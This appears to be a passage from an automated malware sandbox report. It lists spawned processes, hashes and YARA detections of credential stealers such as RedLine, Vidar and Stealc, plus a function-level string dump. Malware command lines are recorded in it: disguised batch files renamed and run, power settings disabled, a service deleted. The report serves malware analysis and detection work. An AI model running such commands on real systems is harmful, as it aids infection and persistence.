Commandline:	"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Imagebase:	0x550000
File size:	65'440 bytes
MD5 hash:	0D5DF43AF2916F47D00C1573797C1A13
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	28
Start time:	10:22:44
Start date:	11/09/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Imagebase:	0xf60000
File size:	65'440 bytes
MD5 hash:	0D5DF43AF2916F47D00C1573797C1A13
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000001C.00000002.2726337776.0000000003167000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: 0000001C.00000002.2618075944.0000000000402000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security
Has exited:	true

Show Windows behavior

Target ID:	29
Start time:	10:22:44
Start date:	11/09/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Imagebase:	0xba0000
File size:	65'440 bytes
MD5 hash:	0D5DF43AF2916F47D00C1573797C1A13
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: 0000001D.00000002.2168324378.0000000000402000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security
Has exited:	true

Show Windows behavior

Target ID:	30
Start time:	10:22:44
Start date:	11/09/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Imagebase:	0x2a0000
File size:	65'440 bytes
MD5 hash:	0D5DF43AF2916F47D00C1573797C1A13
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	31
Start time:	10:22:44
Start date:	11/09/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Imagebase:	0xd20000
File size:	65'440 bytes
MD5 hash:	0D5DF43AF2916F47D00C1573797C1A13
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Vidar_1, Description: Yara detected Vidar stealer, Source: 0000001F.00000002.2780079788.000000000146C000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Vidar_1, Description: Yara detected Vidar stealer, Source: 0000001F.00000002.2707484897.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_AntiVM_3, Description: Yara detected AntiVM_3, Source: 0000001F.00000002.2707484897.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security
Has exited:	true

Show Windows behavior

Target ID:	32
Start time:	10:22:44
Start date:	11/09/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Imagebase:	0xa40000
File size:	65'440 bytes
MD5 hash:	0D5DF43AF2916F47D00C1573797C1A13
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000020.00000002.2388378578.0000000000EEA000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Has exited:	true

Show Windows behavior

Target ID:	33
Start time:	10:22:44
Start date:	11/09/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	34
Start time:	10:22:46
Start date:	11/09/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\cmd.exe" /k move Visitor Visitor.bat & Visitor.bat & exit
Imagebase:	0x240000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	35
Start time:	10:22:46
Start date:	11/09/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\cmd.exe" /c move Measuring Measuring.bat & Measuring.bat
Imagebase:	0x240000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	36
Start time:	10:22:46
Start date:	11/09/2024
Path:	C:\Windows\SysWOW64\WerFault.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\WerFault.exe -pss -s 460 -p 2200 -ip 2200
Imagebase:	0x600000
File size:	483'680 bytes
MD5 hash:	C31336C1EFC2CCB44B4326EA793040F2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	37
Start time:	10:22:46
Start date:	11/09/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	38
Start time:	10:22:46
Start date:	11/09/2024
Path:	C:\Users\user\AppData\Local\Temp\is-78PSF.tmp\D4wpDprTNebjzitxM8NmQjMu.tmp
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\is-78PSF.tmp\D4wpDprTNebjzitxM8NmQjMu.tmp" /SL5="$20446,3185824,56832,C:\Users\user\Documents\iofolko5\D4wpDprTNebjzitxM8NmQjMu.exe"
Imagebase:	0x400000
File size:	706'560 bytes
MD5 hash:	BC100F8A5D64718A0A5DD7112D8DF78B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	39
Start time:	10:22:46
Start date:	11/09/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Local\Temp\RarSFX0\1.bat" "
Imagebase:	0x7ff624350000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	40
Start time:	10:22:46
Start date:	11/09/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	41
Start time:	10:22:46
Start date:	11/09/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	42
Start time:	10:22:47
Start date:	11/09/2024
Path:	C:\Windows\SysWOW64\WerFault.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\WerFault.exe -u -p 2200 -s 880
Imagebase:	0x600000
File size:	483'680 bytes
MD5 hash:	C31336C1EFC2CCB44B4326EA793040F2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	43
Start time:	10:22:47
Start date:	11/09/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Imagebase:	0x7ff6eef20000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	44
Start time:	10:22:48
Start date:	11/09/2024
Path:	C:\Users\user\AppData\Local\Temp\RarSFX0\clamer.exe
Wow64 process (32bit):	false
Commandline:	clamer.exe -pfrhasdtr
Imagebase:	0x7ff7b4760000
File size:	6'170'555 bytes
MD5 hash:	4F18D47EA8490CFCF59C3EAF9C5DBF68
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	45
Start time:	10:22:49
Start date:	11/09/2024
Path:	C:\Windows\System32\powercfg.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
Imagebase:	0x7ff743730000
File size:	96'256 bytes
MD5 hash:	9CA38BE255FFF57A92BD6FBF8052B705
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	46
Start time:	10:22:50
Start date:	11/09/2024
Path:	C:\Windows\System32\powercfg.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0
Imagebase:	0x7ff743730000
File size:	96'256 bytes
MD5 hash:	9CA38BE255FFF57A92BD6FBF8052B705
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	47
Start time:	10:22:50
Start date:	11/09/2024
Path:	C:\Windows\System32\powercfg.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
Imagebase:	0x7ff743730000
File size:	96'256 bytes
MD5 hash:	9CA38BE255FFF57A92BD6FBF8052B705
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	48
Start time:	10:22:50
Start date:	11/09/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	49
Start time:	10:22:50
Start date:	11/09/2024
Path:	C:\Windows\System32\powercfg.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0
Imagebase:	0x7ff743730000
File size:	96'256 bytes
MD5 hash:	9CA38BE255FFF57A92BD6FBF8052B705
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	50
Start time:	10:22:50
Start date:	11/09/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	51
Start time:	10:22:50
Start date:	11/09/2024
Path:	C:\Windows\System32\sc.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\sc.exe delete "RRTELIGS"
Imagebase:	0x7ff6f6030000
File size:	72'192 bytes
MD5 hash:	3FB5CF71F7E7EB49790CB0E663434D80
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	52
Start time:	10:22:50
Start date:	11/09/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	53
Start time:	10:22:50
Start date:	11/09/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	55
Start time:	10:22:50
Start date:	11/09/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	56
Start time:	10:22:51
Start date:	11/09/2024
Path:	C:\Users\user\AppData\Local\Batch AVI Converter\batchaviconverter32.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Batch AVI Converter\batchaviconverter32.exe" -i
Imagebase:	0x400000
File size:	2'240'363 bytes
MD5 hash:	E758DD44C9B639C327EE3DD035D84E2D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Socks5Systemz, Description: Yara detected Socks5Systemz, Source: 00000038.00000002.3246257379.0000000002CE1000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Socks5Systemz, Description: Yara detected Socks5Systemz, Source: 00000038.00000002.3245803876.00000000026AD000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Joe Sandbox ML
Has exited:	false

Show Windows behavior

Target ID:	57
Start time:	10:22:51
Start date:	11/09/2024
Path:	C:\Users\user\Documents\iofolko5\Dzj5MNqCPIubP7Rrjm1D2Yt6.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Documents\iofolko5\Dzj5MNqCPIubP7Rrjm1D2Yt6.exe"
Imagebase:	0xf30000
File size:	8'684'256 bytes
MD5 hash:	B5887A19FE50BFA32B524AAAD0A453BC
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	97
Start time:	10:23:07
Start date:	11/09/2024
Path:	C:\Windows\System32\Conhost.exe
Wow64 process (32bit):
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Execution Graph

Execution Coverage:	12.2%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	0%
Total number of Nodes:	26
Total number of Limit Nodes:	2

Executed Functions

Function 05A50040 Relevance: 78.1, Strings: 62, Instructions: 574
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

2, xrefs: 05A50BAB
9, xrefs: 05A507F5
=, xrefs: 05A50817
%, xrefs: 05A5074F
), xrefs: 05A50581
<, xrefs: 05A5072F
b, xrefs: 05A50941
H, xrefs: 05A50ABB
%, xrefs: 05A50A9D
(, xrefs: 05A50783
-, xrefs: 05A50217
Z, xrefs: 05A50AA7
(, xrefs: 05A50925
<, xrefs: 05A50739
G, xrefs: 05A50BD3
B, xrefs: 05A50765
c, xrefs: 05A5062D
0, xrefs: 05A50A2B
M, xrefs: 05A502C2
., xrefs: 05A504CD
0, xrefs: 05A50AD9
O@&A, xrefs: 05A50A93
&, xrefs: 05A50409
!, xrefs: 05A502F3
F, xrefs: 05A5067B
#, xrefs: 05A502AF
V, xrefs: 05A5051F
/, xrefs: 05A50A35
?, xrefs: 05A50685
', xrefs: 05A50953
), xrefs: 05A503D9
., xrefs: 05A50361
Q, xrefs: 05A50210
5, xrefs: 05A504ED
L, xrefs: 05A50831
D, xrefs: 05A502A8
T, xrefs: 05A50483
?, xrefs: 05A5068F
1, xrefs: 05A50A7F
B, xrefs: 05A50223
$, xrefs: 05A50913
], xrefs: 05A507BB
", xrefs: 05A50965
<, xrefs: 05A504C3
a, xrefs: 05A5041D
A, xrefs: 05A5060D
/, xrefs: 05A507A7
', xrefs: 05A50B61
,, xrefs: 05A50843
^&&A, xrefs: 05A505DD
", xrefs: 05A50671
U, xrefs: 05A50A21
2, xrefs: 05A50667
0, xrefs: 05A50881
7, xrefs: 05A506C9
K, xrefs: 05A50AB1
O, xrefs: 05A502E9
B, xrefs: 05A503B5
$, xrefs: 05A50909
], xrefs: 05A509CF
!, xrefs: 05A50274
), xrefs: 05A508D7

Memory Dump Source

Source File: 00000000.00000002.1738227230.0000000005A50000.00000040.00000800.00020000.00000000.sdmp, Offset: 05A30000, based on PE: true

Associated: 00000000.00000002.1738107158.0000000005A30000.00000004.08000000.00040000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5a30000_file.jbxd

Similarity

API ID:
String ID: !$!$"$"$#$$$$$%$%$&$'$'$($($)$)$)$,$-$.$.$/$/$0$0$0$1$2$2$5$7$9$<$<$<$=$?$?$A$B$B$B$D$F$G$H$K$L$M$O$O@&A$Q$T$U$V$Z$]$]$^&&A$a$b$c
API String ID: 0-3544367915
Opcode ID: 344f031448edaed8aafb7ed309d30f14d181f1ce21a7824c3314df3057ff41ba
Instruction ID: 78da7b2ce9eae7d98018c983e43cb5baa7d3c6198c0c3d854a505884b56f62b6
Opcode Fuzzy Hash: 344f031448edaed8aafb7ed309d30f14d181f1ce21a7824c3314df3057ff41ba
Instruction Fuzzy Hash: B7729FB4D116298FEB65CF1AC9447D9BBF6FF88300F0481EA950CAB254DBB94B858F04

Function 05A9D4D8 Relevance: 56.9, Strings: 45, Instructions: 637
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

O, xrefs: 05A9DC69
;, xrefs: 05A9D825
M, xrefs: 05A9D9CF
(, xrefs: 05A9D76F
1, xrefs: 05A9DDB3
?, xrefs: 05A9DF1F
<, xrefs: 05A9D6B0
7y8B, xrefs: 05A9DFFB
\, xrefs: 05A9D9AB
R, xrefs: 05A9DB63
@, xrefs: 05A9DD29
Z, xrefs: 05A9D84B
@, xrefs: 05A9D6A9
3, xrefs: 05A9DD0B
D, xrefs: 05A9DE9D
#, xrefs: 05A9DC39
V, xrefs: 05A9DFF1
E, xrefs: 05A9DFD1
M, xrefs: 05A9D699
2, xrefs: 05A9DB23
_, xrefs: 05A9D933
5, xrefs: 05A9D87F
7, xrefs: 05A9D6D0
Y, xrefs: 05A9DA01
T, xrefs: 05A9DBAD
b, xrefs: 05A9DC95
G, xrefs: 05A9DD15
$, xrefs: 05A9D9C5
9, xrefs: 05A9DB6D
$, xrefs: 05A9D6E3
K, xrefs: 05A9DE25
", xrefs: 05A9E01B
C, xrefs: 05A9D8DF
., xrefs: 05A9D692
b, xrefs: 05A9D9EF
5, xrefs: 05A9D9A1
", xrefs: 05A9D6FE
W, xrefs: 05A9D9E5
), xrefs: 05A9DAB9
G, xrefs: 05A9D957
=, xrefs: 05A9D6B7
A, xrefs: 05A9DB99
3, xrefs: 05A9DCAF
", xrefs: 05A9D66D
L, xrefs: 05A9DE65

Memory Dump Source

Source File: 00000000.00000002.1738390912.0000000005A90000.00000040.00000800.00020000.00000000.sdmp, Offset: 05A90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5a90000_file.jbxd

Similarity

API ID:
String ID: "$"$"$#$$$$$($)$.$1$2$3$3$5$5$7$7y8B$9$;$<$=$?$@$@$A$C$D$E$G$G$K$L$M$M$O$R$T$V$W$Y$Z$\$_$b$b
API String ID: 0-1431609301
Opcode ID: f815711a80365c13b5c6800fcfa47b0cdf4a8047726bb49d97f328260d714f6d
Instruction ID: d273abb53e6467426cd44686babc7899af1a3135cf01c63b5078a6d759375041
Opcode Fuzzy Hash: f815711a80365c13b5c6800fcfa47b0cdf4a8047726bb49d97f328260d714f6d
Instruction Fuzzy Hash: F582B0B4D116298FEB65CF2ACA85799BBF6FB88300F1081E9D50CA7250DB795E85CF04

Function 05A50E68 Relevance: 56.8, Strings: 45, Instructions: 575
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

Z, xrefs: 05A51270
W, xrefs: 05A5140A
", xrefs: 05A5108F
A, xrefs: 05A515BE
., xrefs: 05A510B7
V, xrefs: 05A51A16
5, xrefs: 05A512A4
(, xrefs: 05A51194
", xrefs: 05A51126
G, xrefs: 05A5173A
D, xrefs: 05A518C2
1, xrefs: 05A517D8
$, xrefs: 05A513EA
L, xrefs: 05A5188A
7y8B, xrefs: 05A51A20
5, xrefs: 05A513C6
\, xrefs: 05A513D0
@, xrefs: 05A5174E
b, xrefs: 05A516BA
@, xrefs: 05A510D1
G, xrefs: 05A5137C
3, xrefs: 05A516D4
M, xrefs: 05A510BE
O, xrefs: 05A5168E
?, xrefs: 05A51944
R, xrefs: 05A51588
M, xrefs: 05A513F4
$, xrefs: 05A5110B
), xrefs: 05A514DE
_, xrefs: 05A51358
9, xrefs: 05A51592
3, xrefs: 05A51730
C, xrefs: 05A51304
E, xrefs: 05A519F6
b, xrefs: 05A51414
=, xrefs: 05A510DF
#, xrefs: 05A5165E
K, xrefs: 05A5184A
Y, xrefs: 05A51426
7, xrefs: 05A510F8
2, xrefs: 05A51548
", xrefs: 05A51A40
;, xrefs: 05A5124A
T, xrefs: 05A515D2
<, xrefs: 05A510D8

Memory Dump Source

Source File: 00000000.00000002.1738227230.0000000005A50000.00000040.00000800.00020000.00000000.sdmp, Offset: 05A30000, based on PE: true

Associated: 00000000.00000002.1738107158.0000000005A30000.00000004.08000000.00040000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5a30000_file.jbxd

Similarity

API ID:
String ID: "$"$"$#$$$$$($)$.$1$2$3$3$5$5$7$7y8B$9$;$<$=$?$@$@$A$C$D$E$G$G$K$L$M$M$O$R$T$V$W$Y$Z$\$_$b$b
API String ID: 0-1431609301
Opcode ID: 127da5e82313285dbd14b6080a4410fe059a2ab3bf32ed4f9e010902d2c48269
Instruction ID: faaf311aaf81effcd59a817fdeaf0ab23b02beee8386327a8c8c5c23deb4cfbf
Opcode Fuzzy Hash: 127da5e82313285dbd14b6080a4410fe059a2ab3bf32ed4f9e010902d2c48269
Instruction Fuzzy Hash: 0F7290B5D116698FEB69CF1AC9447D9BAF6FF88300F05C1EA941CAB254D7B94AC18F00

Function 05A93708 Relevance: 7.6, Strings: 4, Instructions: 2616COMMON

Download Yara Rule

Strings

4'fq, xrefs: 05A94593
4'fq, xrefs: 05A95601
4'fq, xrefs: 05A9471B
(ofq, xrefs: 05A93806

Memory Dump Source

Source File: 00000000.00000002.1738390912.0000000005A90000.00000040.00000800.00020000.00000000.sdmp, Offset: 05A90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5a90000_file.jbxd

Similarity

API ID:
String ID: (ofq$4'fq$4'fq$4'fq
API String ID: 0-1260671024
Opcode ID: ac62bcef95a1914fbe886c2459f180e2c5153781a28d5897465551ca495dc1c8
Instruction ID: 4705d72985dd48fcfda37237b8184c4875c628fbab33c1494084f0f923ce278c
Opcode Fuzzy Hash: ac62bcef95a1914fbe886c2459f180e2c5153781a28d5897465551ca495dc1c8
Instruction Fuzzy Hash: 1A53B474A002298FDF68DF69C988E9DB7F2BF48310F158599D519AB365CB30AD82CF50

Function 05A92848 Relevance: 7.0, Strings: 5, Instructions: 723COMMON

Download Yara Rule

Strings

,jq, xrefs: 05A92E6F
Hjq, xrefs: 05A93148
,jq, xrefs: 05A92E5F
(ofq, xrefs: 05A930DB
(ofq, xrefs: 05A930D1

Memory Dump Source

Source File: 00000000.00000002.1738390912.0000000005A90000.00000040.00000800.00020000.00000000.sdmp, Offset: 05A90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5a90000_file.jbxd

Similarity

API ID:
String ID: (ofq$(ofq$,jq$,jq$Hjq
API String ID: 0-3971574581
Opcode ID: cbc69c77e3dd5229d1f0c89b1b35b5e70eeb1cf71711152847e7a8d0ca74a05b
Instruction ID: 4aaf716e09679808f831f8474502f92f008956b189841909406e241ab4c14383
Opcode Fuzzy Hash: cbc69c77e3dd5229d1f0c89b1b35b5e70eeb1cf71711152847e7a8d0ca74a05b
Instruction Fuzzy Hash: D5525C35A005259FCF18DF69D884E6EBBF2BF88750B158569E816DB360DB31EC42CB90

Function 05A9AA82 Relevance: 6.6, Strings: 5, Instructions: 312
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

(ofq, xrefs: 05A9ABE1
Hjq, xrefs: 05A9AE4F
(ofq, xrefs: 05A9ABD5
,jq, xrefs: 05A9ABA7
,jq, xrefs: 05A9ABB3

Memory Dump Source

Source File: 00000000.00000002.1738390912.0000000005A90000.00000040.00000800.00020000.00000000.sdmp, Offset: 05A90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5a90000_file.jbxd

Similarity

API ID:
String ID: (ofq$(ofq$,jq$,jq$Hjq
API String ID: 0-3971574581
Opcode ID: 048eb5f76fc7abf75aa259d9ff407a0aee0a0ea1fc2bcad1e5d11000b4a80f89
Instruction ID: d7e17db64e3ed95842516a64639740832725ee2cef5cf2831a49e340890a4923
Opcode Fuzzy Hash: 048eb5f76fc7abf75aa259d9ff407a0aee0a0ea1fc2bcad1e5d11000b4a80f89
Instruction Fuzzy Hash: 9DC12C30A002289FCF18DFA8D954EAE7BF6BF88710F158069E5169B390DB34DC41DBA5

Function 05A91BF2 Relevance: 2.6, Strings: 2, Instructions: 140
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

Hjq, xrefs: 05A91D6C
=, xrefs: 05A91C43

Memory Dump Source

Source File: 00000000.00000002.1738390912.0000000005A90000.00000040.00000800.00020000.00000000.sdmp, Offset: 05A90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5a90000_file.jbxd

Similarity

API ID:
String ID: =$Hjq
API String ID: 0-957394253
Opcode ID: 240530272eb45435e7a315a3213cfce40f8b1ab75dd05a1295a237007eaf9180
Instruction ID: 2964a688eea71b50fcff71ae67e3edd02447a7288cb736b6b67d69313cb6fa21
Opcode Fuzzy Hash: 240530272eb45435e7a315a3213cfce40f8b1ab75dd05a1295a237007eaf9180
Instruction Fuzzy Hash: 9F418BB2D143619FEF489A74CC89FAA3FB5EF61284F998089DD40DB281E630CA01C795

Function 01A3DB98 Relevance: 1.6, APIs: 1, Instructions: 112
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryA.KERNELBASE(?), ref: 01A3DCA1

Memory Dump Source

Source File: 00000000.00000002.1722101615.0000000001A30000.00000040.00000800.00020000.00000000.sdmp, Offset: 01A30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1a30000_file.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: 1ea5c7f169cbf202c52548be6aca17bdac602d91c1c968d57ec42e8f793c4e78
Instruction ID: d8f5e97309fe9f05ac0df0ffa10dfb1aa8214ce84f107ab5991ef15fe2ebdb20
Opcode Fuzzy Hash: 1ea5c7f169cbf202c52548be6aca17bdac602d91c1c968d57ec42e8f793c4e78
Instruction Fuzzy Hash: 8841F0B0D10258DFDB14CFEAD985BADBBF6BB88304F14912AE818AB354D7B49845CF40

Function 01A3DF10 Relevance: 1.6, APIs: 1, Instructions: 96
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualProtect.KERNELBASE(?,?,?,?), ref: 01A3DFB4

Memory Dump Source

Source File: 00000000.00000002.1722101615.0000000001A30000.00000040.00000800.00020000.00000000.sdmp, Offset: 01A30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1a30000_file.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: 5ff7497f818ecf8185e627bac10f778db66a4a3295ab478858d3d5cb2e61848c
Instruction ID: 36e6a13293f2d5772ca76dfb67f9af06f60eac5de727a82cb9e88b72fa2140da
Opcode Fuzzy Hash: 5ff7497f818ecf8185e627bac10f778db66a4a3295ab478858d3d5cb2e61848c
